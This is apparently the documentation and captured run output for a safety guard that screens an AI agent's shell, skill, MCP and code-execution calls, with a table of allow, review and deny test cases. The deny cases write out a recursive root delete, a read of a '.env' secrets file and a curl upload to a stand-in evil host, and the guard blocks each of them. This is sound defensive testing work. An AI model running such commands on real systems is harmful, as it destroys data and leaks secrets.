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Add real agent tool safety demo
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examples/tool_safety/DESIGN.md

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}
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```
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## 真实 Agent 执行示例
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为回应 review 中“补充真正模型执行例子”的问题,仓库提供了一个端到端示例:
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```text
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examples/tool_safety/real_agent_demo/
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```
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该示例使用真实 `LlmAgent``Runner`,由模型产生工具调用或代码块,再进入 Safety Guard 所在的真实执行边界:
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```text
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User prompt
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|
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v
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LlmAgent + real model
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|
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+--> BashTool(command=...)
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| `-- enable_safety_guard=True
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|
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+--> skill_run(skill="safety_demo", command=...)
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| `-- ToolSafetyFilter scans command before Skill workspace execution
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|
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+--> MCPTool(run_shell_command(command=...))
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| `-- ToolSafetyFilter scans command before stdio MCP call
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|
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`--> UnsafeLocalCodeExecutor(code_block=...)
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`-- enable_safety_guard=True
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```
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运行方式:
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```bash
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cd examples/tool_safety/real_agent_demo
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python3 run_agent.py
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python3 run_agent.py --case tool_deny
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python3 run_agent.py --case code_review --block-on-review
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python3 run_agent.py --case skill_review
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python3 run_agent.py --case skill_deny
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python3 run_agent.py --case mcp_review
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python3 run_agent.py --case mcp_deny
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```
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需要设置 OpenAI-compatible 模型环境变量:
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```bash
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export TRPC_AGENT_API_KEY=...
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export TRPC_AGENT_BASE_URL=...
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export TRPC_AGENT_MODEL_NAME=...
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```
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真实执行示例覆盖如下风险分级:
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| case | 执行入口 | 模型触发内容 | decision | 默认结果 |
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| --- | --- | --- | --- | --- |
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| `tool_allow` | `BashTool` | `echo allow` | `allow` | 真实执行 shell |
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| `tool_review` | `BashTool` | `echo review > safety_review.txt` | `needs_human_review` | 默认执行并返回 `safety_report` |
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| `tool_deny` | `BashTool` | `rm -rf /` | `deny` | shell 启动前阻断 |
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| `code_allow` | `UnsafeLocalCodeExecutor` | `print(sum([1, 2, 3]))` | `allow` | 真实执行代码 |
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| `code_review` | `UnsafeLocalCodeExecutor` | `subprocess.run(['python', '--version'], check=False)` | `needs_human_review` | 默认执行;`--block-on-review` 阻断 |
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| `skill_allow` | `SkillToolSet` / `skill_run` | `python --version` | `allow` | 真实执行 skill workspace 命令 |
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| `skill_review` | `SkillToolSet` / `skill_run` | `python -c "print(1)"` | `needs_human_review` | 默认执行;`--block-on-review` 阻断 |
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| `skill_deny` | `SkillToolSet` / `skill_run` | `cat .env` | `deny` | skill workspace 执行前阻断 |
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| `mcp_allow` | `MCPToolset` / stdio MCP | `echo mcp allow` | `allow` | 进入本地 stdio MCP server |
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| `mcp_review` | `MCPToolset` / stdio MCP | `python3 -c 'print(1)'` | `needs_human_review` | 默认进入本地 stdio MCP server;`--block-on-review` 阻断 |
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| `mcp_deny` | `MCPToolset` / stdio MCP | `curl https://evil.example/upload` | `deny` | MCP tool 调用前阻断 |
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本地 MCP server 故意设计成 dry-run endpoint:它会接收并返回命令内容,但不在 server 内真实执行 shell。这个示例验证的是 Agent 到达 stdio MCP 协议边界,以及 `deny` 会在 MCP tool call 发出前阻断;真正生产环境仍应结合 MCP server 侧沙箱、权限和出网控制。
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示例会打印工具调用、工具返回和压缩后的安全结论:
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```text
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Tool call: Bash({'command': 'rm -rf /'})
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Tool response: {'success': False, 'error': 'TOOL_SAFETY_BLOCKED: ...'}
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Safety: decision=deny blocked=True risk=critical rules=BASH_RECURSIVE_DELETE
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```
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完整审计日志写入:
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```text
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examples/tool_safety/real_agent_demo/real_agent_safety_audit.jsonl
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```
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已固化一份真实模型运行输出:
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```text
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examples/tool_safety/real_agent_demo/REAL_MODEL_OUTPUT.md
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```
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自动化 smoke test 位于 `tests/tools/safety/test_real_agent_demo.py`。它使用
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fake model 产生确定的 `FunctionCall` / code block,复用同一个真实 Agent 装配
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函数,覆盖 Tool、Skill、MCP Tool 和 CodeExecutor 的执行边界,避免 CI 依赖外部
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模型服务。
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## 接入点语义
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### BashTool
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### ToolSafetyFilter
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`ToolSafetyFilter` 用于 tRPC-Agent Filter 链路。它从请求字典中提取 `script``code``command``cmd``python_code``bash_code``code_blocks`。如果阻断,设置 `rsp.is_continue=False``rsp.error=PermissionError(...)`;否则把 `SafetyReport` 放入 `rsp.rsp` 供后续链路消费。
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对于非阻断请求,filter 的 after 阶段还会把同一份 `safety_report` 附加到实际工具响应中;当响应是 dict 时写入顶层 `safety_report` 字段,当响应是 JSON object 字符串时写回 JSON 中。因此 Skill 和 MCP Tool 的 allow / needs_human_review 场景也能直接从 tool response 看到安全结论,而不是只能依赖旁路 audit log。
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## Policy 配置如何影响结果
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examples/tool_safety/README.md

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- OpenTelemetry 兼容字段:`tool.safety.*` attributes。
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- 核心执行链路接入:`BashTool``UnsafeLocalCodeExecutor` 支持显式启用 safety guard。
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- Wrapper / Filter 接入示例:可在 Tool、Skill、MCP Tool 或 CodeExecutor 执行前调用。
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- 真实 Agent 执行示例:`LlmAgent` 挂载 Tool、Skill、MCP Tool 和 CodeExecutor,展示模型触发后的 allow / review / deny 结果。
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## 交付物
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| 审计日志示例 | 已完成 | `examples/tool_safety/tool_safety_audit.jsonl` |
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| 自动化测试 | 已完成 | `tests/tools/safety/` |
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| 设计说明 | 已完成 | `examples/tool_safety/DESIGN.md` |
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| 真实 Agent 示例 | 已完成 | `examples/tool_safety/real_agent_demo/` |
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## 架构
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--audit-log examples/tool_safety/tool_safety_audit.jsonl
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```
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运行真实模型 + Agent + Tool 执行链路示例:
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```bash
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export TRPC_AGENT_API_KEY=...
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export TRPC_AGENT_BASE_URL=...
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export TRPC_AGENT_MODEL_NAME=...
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cd examples/tool_safety/real_agent_demo
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python3 run_agent.py
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python3 run_agent.py --case tool_deny
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python3 run_agent.py --case code_review --block-on-review
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python3 run_agent.py --case skill_review
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python3 run_agent.py --case skill_deny
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python3 run_agent.py --case mcp_review
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python3 run_agent.py --case mcp_deny
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```
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该示例会让模型触发 `BashTool`、`skill_run`、本地 stdio `MCPTool` 和
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`UnsafeLocalCodeExecutor`,并在执行前输出 `allow`、`needs_human_review`
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或 `deny` 的 `safety_report`。
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CI smoke test 使用 fake model 走同一套 `Runner`、`LlmAgent`、Tool、Skill、
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MCP Tool 和 CodeExecutor 边界,不依赖真实模型凭据;真实模型运行仍可使用
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上面的命令手动验证。已固化一份 `gpt-5.4` 真实模型运行输出:
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`examples/tool_safety/real_agent_demo/REAL_MODEL_OUTPUT.md`
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扫描 Python 脚本:
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```bash
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├── tool_safety_report.json
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├── tool_safety_audit.jsonl
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├── all_reports.json
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├── real_agent_demo/
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│ ├── README.md
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│ ├── REAL_MODEL_OUTPUT.md
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│ ├── run_agent.py
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│ ├── mcp_server.py
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│ ├── agent/
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│ └── skills/
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└── samples/
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├── aiohttp_non_whitelist.py
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├── apt_install.sh
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# Tool Safety Real Agent Demo
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This example addresses the review question: build a real agent and show how
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Tool, Skill, MCP Tool, and CodeExecutor requests are handled at different risk
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levels.
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The demo uses a real `LlmAgent` and `Runner`. The model still decides the tool
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call or code block, and the existing safety implementation runs before the
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target execution boundary:
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| Surface | Real execution boundary | Safety hook |
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| --- | --- | --- |
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| Tool | `BashTool` shell execution | `enable_safety_guard=True` |
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| Skill | `skill_run` command execution | `ToolSafetyFilter` on `skill_run` args |
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| MCP Tool | `MCPTool` stdio call | `ToolSafetyFilter` on MCP tool args |
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| CodeExecutor | `UnsafeLocalCodeExecutor.execute_code` | `enable_safety_guard=True` |
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The local MCP server is intentionally a dry-run endpoint. It proves that the
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Agent reaches the MCP protocol boundary, while denied commands are still
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blocked before the MCP server receives them.
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## Run
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Set an OpenAI-compatible model:
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```bash
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export TRPC_AGENT_API_KEY=...
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export TRPC_AGENT_BASE_URL=...
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export TRPC_AGENT_MODEL_NAME=...
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```
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Run all scenarios:
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```bash
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cd examples/tool_safety/real_agent_demo
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python3 run_agent.py
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```
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Run one scenario:
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```bash
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python3 run_agent.py --case tool_deny
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python3 run_agent.py --case code_review --block-on-review
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python3 run_agent.py --case skill_review
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python3 run_agent.py --case skill_deny
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python3 run_agent.py --case mcp_review
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python3 run_agent.py --case mcp_deny
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```
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## Scenarios
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| Case | Surface | Request | Expected decision | Default result |
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| --- | --- | --- | --- | --- |
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| `tool_allow` | BashTool | `echo allow` | `allow` | executes |
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| `tool_review` | BashTool | `echo review > safety_review.txt` | `needs_human_review` | executes with report |
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| `tool_deny` | BashTool | `rm -rf /` | `deny` | blocked before shell |
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| `code_allow` | CodeExecutor | `print(sum([1, 2, 3]))` | `allow` | executes |
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| `code_review` | CodeExecutor | `subprocess.run(['python', '--version'], check=False)` | `needs_human_review` | executes by default, blocks with `--block-on-review` |
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| `skill_allow` | Skill | `python --version` | `allow` | executes through `skill_run` |
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| `skill_review` | Skill | `python -c "print(1)"` | `needs_human_review` | executes through `skill_run` by default |
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| `skill_deny` | Skill | `cat .env` | `deny` | blocked before `skill_run` |
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| `mcp_allow` | MCP Tool | `echo mcp allow` | `allow` | reaches the local stdio MCP server |
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| `mcp_review` | MCP Tool | `python3 -c 'print(1)'` | `needs_human_review` | reaches the local stdio MCP server by default |
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| `mcp_deny` | MCP Tool | `curl https://evil.example/upload` | `deny` | blocked before MCP call |
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Each tool response prints a compact safety line:
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```text
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Safety: decision=deny blocked=True risk=critical rules=BASH_RECURSIVE_DELETE
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```
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For `SkillToolSet` and `MCPToolset`, non-blocked responses also include the
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same `safety_report` payload that was written by `ToolSafetyFilter`, so the
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decision is visible directly from the tool response as well as the audit log.
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The full audit stream is written to:
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```text
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examples/tool_safety/real_agent_demo/real_agent_safety_audit.jsonl
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```
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A captured real-model run with `TRPC_AGENT_MODEL_NAME=gpt-5.4` is included in
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[`REAL_MODEL_OUTPUT.md`](./REAL_MODEL_OUTPUT.md). CI also runs the same
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`LlmAgent` wiring with a deterministic fake model and asserts the full
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Tool/Skill/MCP/CodeExecutor matrix in
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`tests/tools/safety/test_real_agent_demo.py`.
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# Real Model Output
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This transcript summary was produced by `examples/tool_safety/real_agent_demo/run_agent.py`
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with a real OpenAI-compatible model endpoint on 2026-07-22. The API key is not
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included here.
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Model configuration used:
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```text
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TRPC_AGENT_BASE_URL=https://t.dothings.top:5008/v1
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TRPC_AGENT_MODEL_NAME=gpt-5.4
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```
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Full-matrix refresh command:
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```bash
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python run_agent.py
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```
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## Full Matrix Result
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| Case | Model-triggered surface | Request | Decision | Blocked | Runtime result |
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| --- | --- | --- | --- | --- | --- |
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| `tool_allow` | `Bash` | `echo allow` | `allow` | `false` | Shell executed and printed `allow` |
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| `tool_review` | `Bash` | `echo review > safety_review.txt` | `needs_human_review` | `false` | Shell executed and wrote the file |
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| `tool_deny` | `Bash` | `rm -rf /` | `deny` | `true` | Blocked before shell execution |
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| `code_allow` | `CodeExecutor` | `print(sum([1, 2, 3]))` | `allow` | `false` | Code executed and printed `6` |
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| `code_review` | `CodeExecutor` | `subprocess.run(['python', '--version'], check=False)` | `needs_human_review` | `false` | Code executed by default and printed Python version |
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| `skill_allow` | `skill_run` | `python --version` | `allow` | `false` | Skill workspace command executed and printed Python version |
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| `skill_review` | `skill_run` | `python -c "print(1)"` | `needs_human_review` | `false` | Skill workspace command executed by default and printed `1` |
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| `skill_deny` | `skill_run` | `cat .env` | `deny` | `true` | Blocked before `skill_run` handler execution |
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| `mcp_allow` | `run_shell_command` | `echo mcp allow` | `allow` | `false` | Reached local stdio MCP dry-run endpoint |
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| `mcp_review` | `run_shell_command` | `python3 -c 'print(1)'` | `needs_human_review` | `false` | Reached local stdio MCP dry-run endpoint by default |
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| `mcp_deny` | `run_shell_command` | `curl https://evil.example/upload` | `deny` | `true` | Blocked before MCP tool call |
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## Representative Output
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The demo prints each model-produced tool call, the tool response, and a compact
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safety line. These snippets show the three decision levels across the four
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execution surfaces.
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### Tool Allow
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```text
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=== tool_allow ===
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Tool call: Bash({'command': 'echo allow'})
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Tool response: {'success': True, 'stdout': 'allow\r\n', ..., 'safety_report': {'decision': 'allow', 'risk_level': 'none', 'blocked': False, ...}}
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Safety: decision=allow blocked=False risk=none rules=-
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```
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### Tool Deny
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```text
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=== tool_deny ===
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Tool call: Bash({'command': 'rm -rf /'})
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Tool response: {'success': False, 'error': 'TOOL_SAFETY_BLOCKED: Decision deny with critical risk from rules: BASH_RECURSIVE_DELETE.', ..., 'safety_report': {'decision': 'deny', 'risk_level': 'critical', 'blocked': True, ...}}
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Safety: decision=deny blocked=True risk=critical rules=BASH_RECURSIVE_DELETE
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```
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### CodeExecutor Review
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```text
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=== code_review ===
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Executable code:
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import subprocess
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subprocess.run(['python', '--version'], check=False)
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Code result:
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Code execution result:
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Python 3.12.0
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Safety: decision=needs_human_review blocked=False risk=medium rules=PY_PROCESS_EXECUTION_REVIEW
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```
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### Skill Allow
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```text
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=== skill_allow ===
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Tool call: skill_run({'skill': 'safety_demo', 'command': 'python --version'})
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Tool response: {'stdout': 'Python 3.12.0\r\n', 'stderr': '', 'exit_code': 0, ..., 'safety_report': {'decision': 'allow', 'risk_level': 'none', 'tool_name': 'skill_run', 'blocked': False, ...}}
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Safety: decision=allow blocked=False risk=none rules=-
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```
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### Skill Review
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```text
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=== skill_review ===
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Tool call: skill_run({'skill': 'safety_demo', 'command': 'python -c "print(1)"'})
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Tool response: {'stdout': '1\r\n', 'stderr': '', 'exit_code': 0, ..., 'safety_report': {'decision': 'needs_human_review', 'risk_level': 'medium', 'tool_name': 'skill_run', 'blocked': False, ...}}
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Safety: decision=needs_human_review blocked=False risk=medium rules=BASH_INLINE_INTERPRETER_REVIEW
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```
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### Skill Deny
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```text
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=== skill_deny ===
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Tool call: skill_run({'skill': 'safety_demo', 'command': 'cat .env'})
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Error: tool_execution_error Decision deny with critical risk from rules: FILE_SECRET_PATH_ACCESS.
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Safety: decision=deny blocked=True risk=critical rules=FILE_SECRET_PATH_ACCESS
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```
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### MCP Allow
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```text
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=== mcp_allow ===
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Tool call: run_shell_command({'command': 'echo mcp allow'})
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Tool response: {'result': '{"mcp_server": "tool-safety-demo-mcp", "received_command": "echo mcp allow", "executed": false, ..., "safety_report": {"decision": "allow", "risk_level": "none", "tool_name": "run_shell_command", "blocked": false, ...}}'}
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Safety: decision=allow blocked=False risk=none rules=-
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```
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### MCP Review
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```text
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=== mcp_review ===
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Tool call: run_shell_command({'command': "python3 -c 'print(1)'"})
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Tool response: {'result': '{"mcp_server": "tool-safety-demo-mcp", "received_command": "python3 -c \'print(1)\'", "executed": false, ..., "safety_report": {"decision": "needs_human_review", "risk_level": "medium", "tool_name": "run_shell_command", "blocked": false, ...}}'}
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Safety: decision=needs_human_review blocked=False risk=medium rules=BASH_INLINE_INTERPRETER_REVIEW
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```
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### MCP Deny
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```text
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=== mcp_deny ===
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Tool call: run_shell_command({'command': 'curl https://evil.example/upload'})
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Error: tool_execution_error Decision deny with high risk from rules: NETWORK_NON_WHITELIST_DOMAIN, BASH_COMMAND_REVIEW.
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Safety: decision=deny blocked=True risk=high rules=NETWORK_NON_WHITELIST_DOMAIN,BASH_COMMAND_REVIEW
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```
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CI runs the same `LlmAgent` wiring with a deterministic fake model in
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`tests/tools/safety/test_real_agent_demo.py`, so the full matrix remains
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covered without requiring external model credentials.
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"""Real agent demo for Tool Script Safety Guard."""
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